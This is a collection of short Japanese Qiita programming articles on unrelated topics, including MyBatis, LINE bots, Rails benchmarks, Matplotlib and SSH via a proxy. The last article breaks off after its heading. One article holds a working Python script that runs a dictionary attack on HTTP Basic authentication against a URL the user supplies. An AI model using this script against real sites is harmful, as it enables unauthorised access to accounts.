OmniAICreator/Qiita-1.07M huggingface dataset:
LGTM画像を簡単に作る

# LGTM画像を簡単に作りたい
世の中にはLGTM画像を作るための素晴らしいWEBサービスが沢山あります。
ですが・・・もっとお手軽にコマンドライン一発で作れねーかなー。とか自分は思ったり。

# そもそも何でLGTM画像が欲しいんだっけ
[前回の記事](http://qiita.com/neko-neko/items/205553e98ea905dc691c)に書いた通り、盛大にLGTMしたいから。
マージする度に胴上げとかされても良いレベル。でも毎回胴上げしても疲れちゃうからLGTMをコメントに残しておく。

# やっぱり自分のお気に入り画像でLGTMしてあげたい
[前回](http://qiita.com/neko-neko/items/205553e98ea905dc691c)では、癒し系良い感じ画像を提供しているAPIを使って、コピペ用に出力するコマンドを用意したけど、やっぱり自分のお気に入りの画像でLGTMしたいものだ。
そこで用意したのがLGTM画像を簡単に作れるコマンド。

# LGTM画像ジェネレータ
https://github.com/neko-neko/lgtmgen

まずはデモを。
![lgtmgen.gif](https://qiita-image-store.s3.amazonaws.com/0/42054/922f19e4-e784-9ed6-5657-7403b40550cb.gif)

最後画像見切れちゃっているけど、大体こんな感じでLGTM画像を簡単に作れます。

# インストール
[ここから最新のバイナリをダウンロード](https://github.com/neko-neko/lgtmgen/releases/latest)
もしくは、下記コマンドでインストール
```$ go get github.com/neko-neko/lgtmgen```

# 使い方
下記コマンドで実行します。
```lgtmgen -d {変換したい画像を格納しているディレクトリ} -o {変換した画像の格納先ディレクトリ}```

※注意点として、変換後の画像は640*480サイズの画像になります。
LINE bot apiをperlでやる場合の手順と環境整備について(さくらのVPS+rapidSSL)

LINEのbotのAPIが、1万人先着でTrial版が始まりましたね。
僕はサーバ系はperl好きなのでperlでbot作りました。
まだTrialなので、まずはhello worldします。
作り込みは別途。

#LINE bot登録まで
ggrksってください。
キーワード "line bot"

LINE Developers(英語アレルギーですが英語です)
https://developers.line.me/

まあ順に追って行けばなんとか成ると思います。

#各種調達まで
- PC - 持ってた(ちなみに、２年前のMacBookAirです。)
- サーバ(さくらのVPS) - 持ってた(月1000円ぐらいの安い奴)
- SSL証明書 - 無かった。1年1000円ぐらいのrapidssl買った。
- エディタ - (vim最強)

#主な手順
処理の流れとしては、
「LINEbotにスタンプ/メッセージを打つ」
　↓
「LINE側でcallbackURLにJSONをPOSTする」
　↓
「サーバ側でJSON拾って何か打ち返す」
　↓
「おk、ならユーザに返事が返る」
　です。

僕は、以下の手順で作りました。
1.「LINE bot登録まで」で、LINE devにユーザ登録する

2.「各種調達まで」で、必要なものを揃える。無料のSSL証明書では弾かれるという話が他で見られたので、安いと噂のrapidsslとかいうの買いました。

3.買ったSSL証明書を、さくらのVPSのマシンに仕込む。一つ苦戦しました。ただ、間違っていた箇所は単純なケアレスミスの積み重ねだったので、googleで検索しまくればなんとかなると思います。

4.callback.cgi(perl)を作って、そこでJSONの修正とか行う
　useしたものだけ書いときますね。

```pl:callback.cgi
use JSON;
use LWP::UserAgent;
use HTTP::Request;

.
.
.
 $text = {
        'contentType'=>1,
        "toType"=>1,
        "text"=>"helloworld"
        };
#あと、この辺固定値ですね。
  $post_data = {
        "to"=>[$to],
        "toChannel"=>"1383378250",
        "eventType"=>"138311608800106203",
        "content"=>$text
        };
 $head=[
        "Content-Type" => "application/json",
        "charser" => "UTF-8",
        "X-Line-ChannelID" => $cid,
        "X-Line-ChannelSecret" => $csec,
        "X-Line-Trusted-User-With-ACL" => $mid
        ];
```

まず、POSTの中身を拾いました。
APIの仕様書に書かれてるようなデータがあったので、その中で、
「"from":こちらから打つときに返す用」
だけ拾って、送信データの"to"に入れました。

あと、今回はユーザのメッセージを解析とかしてないのですが、要る場合は、"content"とか、他のも見ないとダメですね。

で、なんかperlでPOSTするときに、「httpsだと無理ー」とか言われたので、「Crypt::SSLeay」とかいうのを別途インストールすると、行けました。

で、メッセージを打つと以下です。
<img width="375" alt="IMG_0660.PNG" src="https://qiita-image-store.s3.amazonaws.com/0/37393/13f480d3-1a6c-586a-209f-161784687302.png">

簡単ですね。
おもしろい使い道が考えられると良いですね。


あ、宣伝ですが僕のLINEスタンプです。
![スクリーンショット 2016-04-10 1.44.52.png](https://qiita-image-store.s3.amazonaws.com/0/37393/38815a43-3b0d-ada4-a841-97df6e7952db.png)

https://store.line.me/stickershop/product/1017470/ja
GetWild退勤的なセンサーアプリを簡単に作れるフレームワークを作ったのでiPhoneに歯痛を心配されたり色々する

![CfnHCB6UUAAI1tv.jpg](https://qiita-image-store.s3.amazonaws.com/0/47823/0fff8a1d-2542-d063-0a5d-5232122a87f8.jpeg)

<img width="375" alt="actionsetting.jpg" src="https://qiita-image-store.s3.amazonaws.com/0/47823/f322870f-fe8f-32c5-5534-fb39c4719151.jpeg">

openSensorAppIos
https://github.com/oubakiou/openSensorAppIos

Cocoa Touch Frameworkではないです。センサーとアクションを組み合わせて設定すればそういう感じに動きます。[GetWild退勤](http://qiita.com/oubakiou/items/b9b78b00906415d056b2)とかができます。スタンバイ画面には空のUIImageViewを置いてるので好きな壁紙を入れてビルドすれば良いと思います。

# 実装済のセンサー

##Brightness(ディスプレイ輝度センサー)
https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Sensor/Brightness.swift

ディスプレイ輝度(部屋の照度)を感知して、設定した閾値を上回るか下回るかしたら反応します。部屋が暗くなったらGet Wildを流したり、部屋が明るくなったらラジオ体操を流したりできます。

##Proximity(近接センサー)
https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Sensor/Proximity.swift

iPhoneにキスをするとマーマレードボーイの挿入歌が流れたり、iPhoneに歯を見せると歯痛を心配してもらえたりします。

https://itunes.apple.com/jp/album/chi-tong-dong-yun-you-ye/id449923109?i=449923243

テストのために購入して聞きましたが面白いのでサンプルを聞いてみると良いでしょう。

##Shake(シェイクモーションセンサー)
https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Sensor/Shake.swift

iPhoneを振ると何か出ます。

##HttpReachability(HTTP疎通センサー)
https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Sensor/HttpReachability.swift

登録しておいたURLへのHTTPリクエストが失敗するとIt's My Lifeが流れたりします。

# 実装済のアクション
##PlayAudio(音楽の再生)
https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Action/PlayAudio.swift

音楽を再生します。注意点としてDRMで保護された曲は再生できません。

##OpenUrl(URLを開く)
https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Action/OpenUrl.swift

ULRを開きます。対象のURLがユニバーサルリンクに対応したサイトの場合は対応したアプリが開くんじゃないかと思います。[カスタムURLスキーマ](https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/Introduction/Introduction.html)でも開けると思うので電話とかもかけられると思いますが、サーバが落ちたら掛かって来る無言電話とかこわいです。

# 新しいセンサーの作り方

1. sensorNameList.plistに新しいセンサーの名前を追加してください
2. Sensorディレクトリの下にHoge.swiftクラスを作成してください。なおNSObjectを継承しSensorProtocolに適合している必要があります。
3. センサーの設定を行う画面としてHogeSettingViewController.swiftとxibを作成してください。UIViewControllerを継承し、SensorSettingViewControllerProtocolに適合している必要があります。

### Sample
https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Sensor/Proximity.swift

https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Sensor/ProximitySettingViewController.swift

# 新しいアクションの作り方

1. actionNameList.plistに新しいセンサーの名前を追加してください
2. Actionディレクトリの下にFuga.swiftクラスを作成してください。なおNSObjectを継承しActionProtocolに適合している必要があります。
3. アクションの設定を行う画面としてFugaSettingViewController.swiftとxibを作成してください。UIViewControllerを継承し、ActionSettingViewControllerProtocolに適合している必要があります。

### Sample

https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Action/OpenUrl.swift

https://github.com/oubakiou/openSensorAppIos/blob/master/openSensorApp/Action/OpenUrlSettingViewController.swift

# 注意点

引き続きバックグラウンドでの動作にはまだ対応していません。たぶんGPSセンサーの追加と同時ぐらいにやると思います。各種設定をDictionaryで保持してますがそのうちクラスになると思います。

リジェクトされなければそのうち自力ビルド出来ない人もAppStore経由で使えるようになると思います。
MariaDB time型 00:00:00がnullで返される - MyBatis + MariaDB Connector/J


答えにたどり着くまでに時間がかかったので、残しておきます。

## バージョン情報

|                   |version|
|:------------------|:-----:|
|MariaDB            |10.0.23|
|MariaDB Connector/J|1.4.0  |
|Java               |1.8.x  |
|MyBatis            |       |

## MariaDB Connector/Jのバグ？

`1.3.0-1.3.2`で下記のissueがあがっていたが、`1.3.3`でBug fixしたようです。

* issues  
https://mariadb.atlassian.net/browse/CONJ-226

## 答えはこんなところにあった

調べていくと、問題が発生するところはある特定の部分だけで発生していることに気付きました。
今回の問題は、独自に作成したMapperでだけ発生していました。

`resultMap`を覗いてみると、`javaType`が設定されていないことに気付きます。

```xml:xxxMapper.xml
<resultMap id="userResultMap" type="User">
  <id property="id" column="user_id" />
  <result property="username" column="username"/>
  <result property="password" column="password"/>
  <result property="startTime" column="startTime"/>
</resultMap>
```

上記のコードに`javaType`を付加してあげることで、今回の問題は解消されました。

```xml:xxxMapper.xml
<resultMap id="userResultMap" type="User">
  <id property="id" javaType="int" column="user_id" />
  <result property="username" javaType="String" column="username"/>
  <result property="password" javaType="String" column="password"/>
  <result property="startTime" javaType="Time" column="startTime"/>
</resultMap>
```
UnicodeWarning: Unicode equal comparison failed ... (numpy.float, Python 2.x)

こんにちは。
Python 2.x で、 ```numpy.float64``` （```scipy.sqrt``` などの返り値も）などの値と unicode literal とを比較すると、 ```UnicodeWarning``` となるようです。これに対して ```math.sqrt```の返り値は ```float``` なので大丈夫です。

```console
$ python --version
Python 2.7.11
$ python -c "from __future__ import unicode_literals;import math;x=math.sqrt(1);print x.__class__, x=='one'"
<type 'float'> False
$ python -c "from __future__ import unicode_literals;import scipy;x=scipy.sqrt(1);print x.__class__, x=='one'"
-c:1: UnicodeWarning: Unicode equal comparison failed to convert both arguments to Unicode - interpreting them as being unequal
<type 'numpy.float64'> False
```
【Javaの基本】なぜStringBufferを使うのか

**内容変更が頻繁に起きる場合は、StringBufferを使ったほうが効率が良い**です。それがなぜか？を調べてみたので、備忘のためまとめます。

## Stringオブジェクトはイミュータブル

JavaのStringオブジェクトは内容変更ができない。(immutable)

`+=`演算子を用いた文字結合による内容変更は可能だが、ここではオブジェクトの内容は変えず、新たなオブジェクトを生成して変数の指すオブジェクトを変えているだけである。新たなStringオブジェクトが生成されることは、メモリ的に非効率なことである。

## n回のStringの足し算にかかる計算量


具体的に計算量を考える。すべての文字列の長さ同じ長さxとして、文字列の個数をn個と考えると、最初の足し算の処理で、x文字分のコピーを生成するのに、O(n)、ループの二回目の足し算で、2x文字分のコプーが必要になり、3回目は3x文字分...と増え続け、計算量はトータルで、`O(x + 2x + 3x + ... + nx)`で`O(xn^2)`の計算量になる。(メモリ的にもこれだけゴミを生み出しているので、非効率。)

以下疑似コード。

```.java
String sentence = new String();
for (String w : words) {
	sentence = sentence + w; // ここで計算結果が新しいオブジェクトとして生成され、sentenceにセットされる(ix文字分のコピー)。それまでsentenceの指していたオブジェクトは、ゴミとなる。
}
```

## StringBufferはミュータブルで計算効率が良い

StringBufferオブジェクトは、オブジェクト生成後であっても、内容変更することが可能なため、必要に応じて文字列の後ろにコピーしていくことができる。そのため、**内容変更が頻繁に起きる場合は、StringBufferを使ったほうが効率が良い。**

先ほどと同様に計算量を考えると、n回文字列の後ろx文字コピーするだけなので、O(xn)か。

以下疑似コード。

```.java
StringBuffer sentence = new StringBuffer();
for (String w : words) {
	sentence.append(w);
}
```

***

# 参考

## サイズnの配列のコピーにかかる時間

- サイズnのもう一つの配列を宣言する
- それぞれの要素を1..i..nまでセットしていく => O(n)

なので、サイズnの配列をコピーするのにはO(n)の時間がかかる。
StringはCharの配列なので、Stringのコピーも同様に考えられる。

## よくまとまってるリンク

- http://www.fujitsu.com/jp/solutions/infrastructure/dynamic-infrastructure/sdas/technology/java-tips/01-stringbuffer/
- http://www.javadrive.jp/start/stringbuilder/
mybatis-typehandlers-jsr310がリリースされた

ついに！？2016年4月9日（昨日！！）に[mybatis-typehandlers-jsr310](https://github.com/mybatis/typehandlers-jsr310)のバージョン1.0.0がリリースされました。mybatis-typehandlers-jsr310には、JSR-310 Date and Time API用のタイプハンドラーが格納されています。
これまでは、独自にタイプハンドラーを作成するか、またはEntityなどのJavaBeanにはレガシーな`java.util.Date`, `java.sql.Time`, `java.sql.Date`, `java.sql.Timestamp`を使っていたと思いますが、Java 8のリリースから2年が経ち、ようやくMyBatisでもJSR-310の日時型が使えるようになりました :smile: 

## バージョン 1.0.1
2016年6月26日にバージョン1.0.1がリリースされ、`java.time.Year`と`java.time.Month`がサポートされました。

## バージョン 1.0.2
2017年1月2日にバージョン1.0.2がリリースされ、`java.time.YearMonth`と`java.time.chrono.JapaneseDate`がサポートされました。

# mybatis-typehandlers-jsr310を依存アーティファクトに追加

MyBaitsは、最新のJavaバージョンから2つ下のバージョン(現時点だとJava 6)までサポートするというポリシーがあるらしく、Java 8以上が必要となるJSR-310用のタイプハンドラーは専用のアーティファクトとして提供されています。
そのため、Mybatis本体とは別に、mybatis-typehandlers-jsr310を依存アーティファクトに追加する必要があります。

```xml:po.xml
<dependency>
  <groupId>org.mybatis</groupId>
  <artifactId>mybatis-typehandlers-jsr310</artifactId>
  <version>1.0.2</version> <!-- バージョンは最新を指定 (2017/1/2時点では1.0.2が最新) -->
</dependency>
```

# タイプハンドラーをMyBatisに登録

MyBatis 3.4以上を使用する場合は、自動でJSR-310用のタイプハンドラーがMyBatisに登録される仕組みになっているため、特になにもする必要はありません。
MyBatis 3.3.x以下のバージョンを使用する場合は、MyBatis設定ファイルやMyBatis-Springから提供されている`SqlSessionFactoryBean`を使用して、明示的にタイプハンドラーを登録する必要があります。

> **Note:**
>
> MyBatis 3.4以上を使っている場合でも、メンテナンスバージョンによって自動登録される対象が異なるため、明示的に登録しないと使えないタイプハンドラーがあります。

以下は、MyBatis設定ファイルを使用してタイプハンドラーを登録する際の設定例です。

```xml:mybatis-config.xml
<typeHandlers>
  <!-- ↓ MyBatis 3.3.x以前の場合は指定が必要 -->
  <typeHandler handler="org.apache.ibatis.type.InstantTypeHandler" />
  <typeHandler handler="org.apache.ibatis.type.LocalDateTimeTypeHandler" />
  <typeHandler handler="org.apache.ibatis.type.LocalDateTypeHandler" />
  <typeHandler handler="org.apache.ibatis.type.LocalTimeTypeHandler" />
  <typeHandler handler="org.apache.ibatis.type.OffsetDateTimeTypeHandler" />
  <typeHandler handler="org.apache.ibatis.type.OffsetTimeTypeHandler" />
  <typeHandler handler="org.apache.ibatis.type.ZonedDateTimeTypeHandler" />
  <!-- ↓ MyBatis 3.4.0以前の場合は指定が必要 -->
  <typeHandler handler="org.apache.ibatis.type.YearTypeHandler" />
  <typeHandler handler="org.apache.ibatis.type.MonthTypeHandler" />
  <!-- ↓ MyBatis 3.4.1以前の場合は指定が必要 -->
  <typeHandler handler="org.apache.ibatis.type.YearMonthTypeHandler" />
  <typeHandler handler="org.apache.ibatis.type.JapaneseDateTypeHandler" />
</typeHandlers>
```

# ドメインオブジェクトにJSR-310の日時型を使用

EntityなどのドメインオブジェクトにJSR-310の日時型を指定するだけで、JDBCの対応型(`java.sql.Time`, `java.sql.Date`, `java.sql.Timestamp`)に相互変換できます。

```java:src/main/java/com/example/domain/Todo.java

package com.example.domain;

public class Todo {
    private int id;
    private String title;
    private String details;
//    private java.sql.Date deadlineDate;
    private java.time.LocalDate deadlineDate; // JSR-310のLocalDateを指定
    private boolean finished;
    // ... setter and getter
}
```

# まとめ

オレオレTypeHandlerではなく、mybatis-typehandlers-jsr310を使いましょう。
そして、`java.util.Date`や`java.util.Calendar`などのレガシーな日時型を使うのではなく、積極的にJSR-310のAPIを使いましょう。
Basic認証への辞書攻撃

## PythonでBasic認証への辞書攻撃
Basic認証は別にGUI的なものを無理やり操作する必要がない為、
urllib2には普通にBasic認証をするクラスが存在します。
Basic認証は基本的にidさえ分かってしまえば総当たり攻撃であれ辞書攻撃であれ可能でしょう。
非常に強引な手法ではありますが、辞書ファイルが良ければもしくは運が良ければパスワードを見つけることは可能です。

```py:
import urllib2, sys, time

class Attack:
	def __init__(self, url, userid, dictionary_file):
		self.url = url
		self.userid = userid
		self.password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
		self.dictionary_file = dictionary_file

	def main(self):
		with open(self.dictionary_file, "r") as f:
			print "[INFO]: Loading..."
			lines = f.readlines()
			for password in lines:
				try:
					self.password_mgr.add_password(None, url, self.userid, password)
					handler = urllib2.HTTPBasicAuthHandler(self.password_mgr)
					opener = urllib2.build_opener(handler)
					urllib2.install_opener(opener)
					html = urllib2.urlopen(url)
					print "[yes]: password=%s" % (password)
					break
				except Exception, e:
					print "[no]: password=%s" % (password)

if __name__ == "__main__":
	url = raw_input("Url >>> ")
	userid = raw_input("Userid >>> ")
	dictionary_file = raw_input("Dictionary file >>> ")
	Attack_ = Attack(url, userid, dictionary_file)
	Attack_.main()
```
Spring での責務についてまず見てほしい一枚の絵

_2018-05-30 追記_

> _この記事は最終更新日から1年以上が経過しています。_

_というメッセージが長らく出ていたにも関わらず、今でもそこそこ読んでもらえているようなので、新たに [改訂版を書きました。](https://www.yo1000.com/posts/2018-05-23-spring-responsibilities.html)_

----

新年度を迎え、新たな職場、新たな環境で、はじめて Spring に触れている方も多いかと思います。
とくに、これまでは少人数開発しか経験してこなかったような新人さんがたにおいては、エンプラ開発では非常に多く採用されている Spring を、今まさに学んでいるという方、多いのではないでしょうか。
今回は Spring を学ぶにあたり、まずおさえておきたい基本的な考え方をまとめてみます。

# 全体俯瞰
Spring MVC には、それぞれ一定の責務を持ったコンポーネントが定義されており、その多くは特定のアノテーションに対応付けられています。
はじめに、それぞれの役割と相互関係を理解しておくことで、Spring MVC を扱う際の誤解や、誤った設計を防ぎ、Spring による開発プロジェクトの助けとなることでしょう。
全体を俯瞰すると、各コンポーネント間には、以下のような相互関係があるといえるでしょう。

![spring-mvc3.png](https://qiita-image-store.s3.amazonaws.com/0/47993/e8276c74-74a7-0976-e22d-7765a4fcbaf6.png)


# 各コンポーネントの責務
これらコンポーネントには、どのようなアノテーションが対応し、どのような責務を与えられているのか。
代表的なものを以下にまとめます。

| コンポーネント   | 対応アノテーション                | 責務
|:--------------|:------------------------------|:--------
| Model         |                               | データモデルレイヤを扱う。<br>POJO であることが望ましい。
| View          |                               | ビューレイヤを扱う。<br>Spring では、フロントにレスポンスされるものは、すべてビューとして定義される。HTML 書式のものだけでなく、JSON、XML、CSV、PDF、他も、等しくビュー表現のひとつとして扱われる。
| Controller    | `@Controller`                 | コントローラレイヤを扱う。<br>コントローラレイヤでは、フロントからのリクエスト、およびフロントへのレスポンスのハンドリングのみを行う。共通的な例外レスポンスや、レスポンスフォーマットの変換処理については、後述する `@ContorollerAdvice` を併せて利用する。
| Service       | `@Service`                    | サービスレイヤを扱う。<br>サービスレイヤでは主に、業務プロセスを表現する。<br>レスポンス、リクエストに依存したような処理や、永続化処理はこのレイヤではおこなってはならない。これら、他責務の処理記述が混在しはじめると、途端にテストの難易度が上がる。
| Repository    | `@Repository`                 | リポジトリレイヤを扱う。<br>リポジトリレイヤでは主に、永続化を表現する。<br>このレイヤでは実装に際し、抽象化したインターフェースを定義することを強く推奨する。抽象化しておくことで、例えばデータソースが、RDB から、KVS に変更された場合など、他責務レイヤへの影響が最小化され、変更をリポジトリレイヤのみに閉じることができる。
| Template      |                               | テンプレートレイヤを扱う。<br>テンプレートレイヤでは、それぞれのデータソースと、その永続化方法に応じた、共通的な永続化処理を表現する。(テンプレート = データソースタイプ x 永続化方法)<br>例えば、RDB をデータソースに取った、JDBC による永続化方法を表現するテンプレートには `JdbcTemplate` が存在したり、同じく、RDB をデータソースに取った、MyBatis による永続化方法を表現するテンプレートには `SqlSessionTemplate` が存在する。一方 MongoDB をデータソースに取った場合は、`MongoTemplate` が存在するなど、様々なデータソース、永続化方法に対応したテンプレートが用意されている。
| Configuration | `@Configuration`              | コンフィグレーションレイヤを扱う。<br>構成管理や設定などを表現する。
| Advice        | `@Aspect` `@ControllerAdvice` | AOP レイヤを扱う。<br>AOP では、メソッドの前や後、または前後に共通的な処理を後付けすることができ、同じような処理を何度も記述するのを抑制したり、本来の責務とは直接関係のない処理を、各責務から分離したりするのに役立つ。<br>たとえばパフォーマンスログの出力や、トランザクション境界の定義などを AOP に分離することができる。<br>また、`@Aspect` は、それ単体では DI コンテナに登録されないため、`@Component` や `@Bean` と組み合わせて使用する。<br>なお、ビューレイヤ、コントローラレイヤ間における処理の多くは、`@Aspect` で、割り込みを行うことができないため、この箇所専用のアノテーションである `@ControllerAdvice` を利用する。
|               | `@Component`                  | その他、どのレイヤからも利用することが想定されるような、ユーティリティコンポーネントなどを表現するのに使用する。<br>なお、ユーティリティについては、DI の管理から外れてしまう static メソッドばかりを集めたようなユーティリティクラスは作成せず、`@Component` の付与されたユーティリティコンポーネントとして作成するように心がける。

おおむね以上のような感じでしょうか。
Spring Boot の登場により、非常に扱いやすくなったとはいえ、やはり巨大なフレームワークである Spring。
最初に基本をしっかりと押さえて、良き設計を心がけたい。
暇つぶしに Rails アプリでテーブルにそこそこの行数を入れる実装で遊んでみる

はじめに
----

BULK INSERT と COPY なら COPY の方が圧倒的強者なはず。これは、そんな些細な事が気になって暇つぶしがてらに遊んでみた記録。


### 制限

- PostgreSQL の事しか考えない
- 空のテーブルに新規データ登録する事だけを考える
- ユニーク制約についても考えない(衝突しない)
- 遊びなので全体的に雑

### activerecord-import について

BULK INSERT の実装として [zdennis/activerecord-import](https://github.com/zdennis/activerecord-import) を使う。自分で BULK INSERT 書くのが面倒なので。

- バリデーションしてくれるけど、インスタンス化するからひどく遅くなる
- 成功行数とかとれるけど、必要ない場合を考える
- MySQL だったら `INSERT ... ON DUPLICATE KEY UPDATE` に対応してて上書きとかできるけど、これも必要ない場合を考える


環境
----

- MacBookAir7,1
- Intel Core i7 2.2 GHz
- DDR3 4GBx2
- APPLE SSD SD0256F
- Mac OS X 10.11.4
- Ruby 2.3.0p0 (rbenv)
    - Rails 4.2.6
    - pg 0.18.4
    - postgres-copy 1.0.0
    - activerecord-import 0.13.0
    - ridgepole 0.6.4
- PostgreSQL 9.5.2


準備
----

### テーブル

```ruby:Schemafile
create_table 'hundred_columns', force: :cascade do |t|
  100.times do |n|
    t.string "column_#{n}"
  end
end
```

### モデル

```
$ rails g model HundredColumn
```

```ruby:app/models/hundred_column.rb
class HundredColumn < ActiveRecord::Base
  acts_as_copy_target
end
```


計測
----

```ruby
require 'benchmark'
require 'csv'
require 'hundred_column'

Tempfile.create('benchmark-import') do |tmp|
  row = Array.new(100) { |i| "column #{i}" }.join(',')
  10_000.times { tmp.puts row }
  tmp.flush

  Benchmark.bm(35) do |x|
    header = Array.new(100) { |i| "column_#{i}" }

    HundredColumn.connection.execute('TRUNCATE TABLE hundred_columns')
    x.report('activerecord-import/validate: true') do
      csv = CSV.foreach(tmp.path)
      csv.each_slice(500) do |rows|
        HundredColumn.import header, rows
      end
    end

    HundredColumn.connection.execute('TRUNCATE TABLE hundred_columns')
    x.report('activerecord-import/validate: false') do
      csv = CSV.foreach(tmp.path)
      csv.each_slice(500) do |rows|
        HundredColumn.import header, rows, validate: false
      end
    end

    HundredColumn.connection.execute('TRUNCATE TABLE hundred_columns')
    x.report('postgres-copy copy_from') do
      HundredColumn.copy_from tmp.path, header: nil, columns: header
    end

    HundredColumn.connection.execute('TRUNCATE TABLE hundred_columns')
    conn = HundredColumn.connection.raw_connection
    enco = PG::TextEncoder::CopyRow.new
    x.report('pg copy_data') do
      conn.copy_data "COPY hundred_columns (#{header.join(',')}) FROM STDIN", enco do
        CSV.foreach(tmp.path) do |row|
          conn.put_copy_data row
        end
      end
    end
  end
end

__END__
                                          user     system      total        real
activerecord-import/validate: true   21.260000   0.270000  21.530000 ( 23.511967)
activerecord-import/validate: false   6.270000   0.080000   6.350000 (  7.988115)
postgres-copy copy_from               0.050000   0.020000   0.070000 (  0.270931)
pg copy_data                          0.880000   0.030000   0.910000 (  1.078610)
```


まとめ
----

- activerecord-import は遅い
- COPY は優秀
- 途中で問題がある行に遭遇した時、COPY は全部なかったことになる
- UPSERT やバリデーションなどが必要な場合についても要検討

以上、暇つぶしおわり。
Skyrim英語版日本語化でセーブデータ一覧表示がおかしくなったときの対処方法

#セーブデータ一覧表示がおかしい
MOD利用のためTESV.exeを英語版に置き換え後，
日本語化するとセーブ/ロード画面でセーブデータ一覧の表示が上手く表示されなくなってしまった．
類似の状態になっている方を見かけなかったので，日本語化手順をミスっているだけなのかも…

```
793  ホワイトラン
792  ヴォルキハル城
```

と表示されていたものが，

```
793  Save 793 - (キャラ名)  9...
793  Save 793 - (キャラ名)  3...
```

と表示されている．

#対処方法
C:\Program Files (x86)\Steam\steamapps\common\Skyrim\Data\Strings\Skyrim_English.STRINGS
で ID: 0DAD9 の"セーブ"を"Save"に置き換える．

以下のような翻訳支援ツールを使えば簡単にできる．

TESVTranslator
http://www.nexusmods.com/skyrim/mods/29148/
Matplolibのカスタマイズに役立つリンク

Matplotlibで3dplotのグラフを書く際に、Defaultの設定のままだとなかなか綺麗に書けなかったので、いくつかカスタマイズの方法を調べました。
その中で役立ったリンク先をご紹介します。
#3dplot(surface)の色のカスタマイズ
理想気体の関係を3dplotしてみます。PV=RTで、PをZ軸として描画します。
・色を指定しない場合

```py3:PVT.py
ax.plot_surface(v, T, P, rstride=2, cstride=2)
```

<img width="343" alt="MatplotlibNoColor.PNG" src="https://qiita-image-store.s3.amazonaws.com/0/119667/5aa27160-9576-b21f-eecb-c4364a277c7a.png">

##surfaceの色のカスタマイズについて
 [Color Map参照](http://matplotlib.org/examples/color/colormaps_reference.html "Color Map参照")
上記のリンクを参考に色を変更しています。
以下のように、実際に色とコードが目で見て確認できるのが良いですね。
<img width="318" alt="ColorEX.PNG" src="https://qiita-image-store.s3.amazonaws.com/0/119667/cd1e22c2-448f-e546-4a57-fd2599a9ee47.png">

どうやら値の大小に応じて色が左端から右端にかけて連続的に変わるようです。
個人的な好みとして暗い色は好きではないので、GnBuで緑色から青色に変化するように設定します。
設定の仕方は簡単で、先ほどのコードにcmap=cm.GnBuを追加するだけです。
好みに応じてGnBuの部分を変更してください。

```py3:PVT.py
ax.plot_surface(v, T, P, rstride=2, cstride=2, cmap=cm.GnBu)
```

<img width="338" alt="ColorChange.PNG" src="https://qiita-image-store.s3.amazonaws.com/0/119667/148a9336-ff7e-3cc2-6f5f-7329f1589099.png">

色は好みに近づいてきましたが、メッシュが黒で太いためか、どうもまだ見えにくい感じです。

##メッシュのラインサイズ変更
調べた所、以下のリンクにラインサイズの変更方法が載っていました。
[ラインサイズ変更](https://www.getdatajoy.com/examples/python-plots/surface-plot-and-wireframe "ラインサイズ変更")
linewidth=xx（xxはラインサイズ）を追加すればよいだけのようです。
ラインサイズを0.1等小さい値にすると、以下のような形になります。

```py3:PVT.py
ax.plot_surface(v, T, P, rstride=2, cstride=2, cmap=cm.GnBu,linewidth=0.1)
```

<img width="341" alt="LineChange.PNG" src="https://qiita-image-store.s3.amazonaws.com/0/119667/6b3a7545-772c-d50e-6fda-a378291cbd8b.png">

私の個人的な好みですが、大分私好みのグラフに近づきました。

##おまけ（グラフのタイトル、凡例について）
ちなみに、グラフのX,Y,Z軸の凡例やタイトルの入力は以下リンクを参照しました。
[タイトル、凡例](http://matplotlib.org/1.3.1/mpl_toolkits/mplot3d/tutorial.html "タイトル、凡例")
上記の例ですと、以下のように記載しています。

```py3:PVT.py
ax.set_title('PVT') 
ax.set_xlabel('v[l/mol]')
ax.set_ylabel('T[K]')
ax.set_zlabel('P[atm]')
```

##おまけ２（グラフの重ね書きについて）
また、グラフは重ね書きも可能なようです。
以下の例では、上記のように理想気体として取り扱った場合と、実在気体（propaneをSoave Redelich Kwong式で求めた場合です）のPVTを重ね書きしています。
（理想気体をGnBu、実在気体をYlOrRdで書いています）
<img width="351" alt="IdealActual.PNG" src="https://qiita-image-store.s3.amazonaws.com/0/119667/d5d58f40-98c5-73d0-db61-bce2b61997cd.png">
CONNECT対応のHTTP Proxyを踏み台にSSHに入るための.ssh/config

これも完全に自分用のメモ。
（家のルータの設定をミスって、SSHのポートを塞いでしまった時にもがいたメモ）

## connect-proxyをいれる

```
sudo apt-get install connect-proxy
```

## .ssh/config

```
Host localhost
    Port 22
    ProxyCommand connect-proxy -H xxx.xxx.xxx.xxx:pppp %h 22
```

`xxx.xxx.xxx.xxx:pppp` ・・・HTTPプロキシ鯖 

これで

```
yi01@asama:~$ ssh localhost
yi01@localhost's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Sat Apr  9 22:17:56 2016 from localhost
yi01@hayate:~$ 
```

のように、HTTP Proxyが立っている鯖にSSHで入れる。
通常、localhostにSSH接続することはまずないので、.ssh/configでつぶしちゃっても問題ないかなと。


## というかそもそも

SSHのポートを開けておくのとHTTP Proxyのポートを開けておくのでは、前者のほうが安全なことが多いので、大抵の場合こんな技は使えないのだけども・・・。
Backbone.jsに学ぶ（MVC的な意味の）モデルのイベント名


# モチベーション

## 背景
クライアントサイドJavaScriptで監視コントローラー付MVCを実装したくなった時の話です。

## イベント名をどうやって設計するか？
今はイベントエミッターを実装することは簡単です。
[Browserify](http://browserify.org/)を使っていれば、Node.jsの[EventEmitter](https://nodejs.org/api/events.html)がそのまま使えます。

しかし、イベント名の設計はアプリケーションごとに行う必要があります。
ある程度汎用的な設計は可能でしょうか？

## Backbone.jsに学ぶ

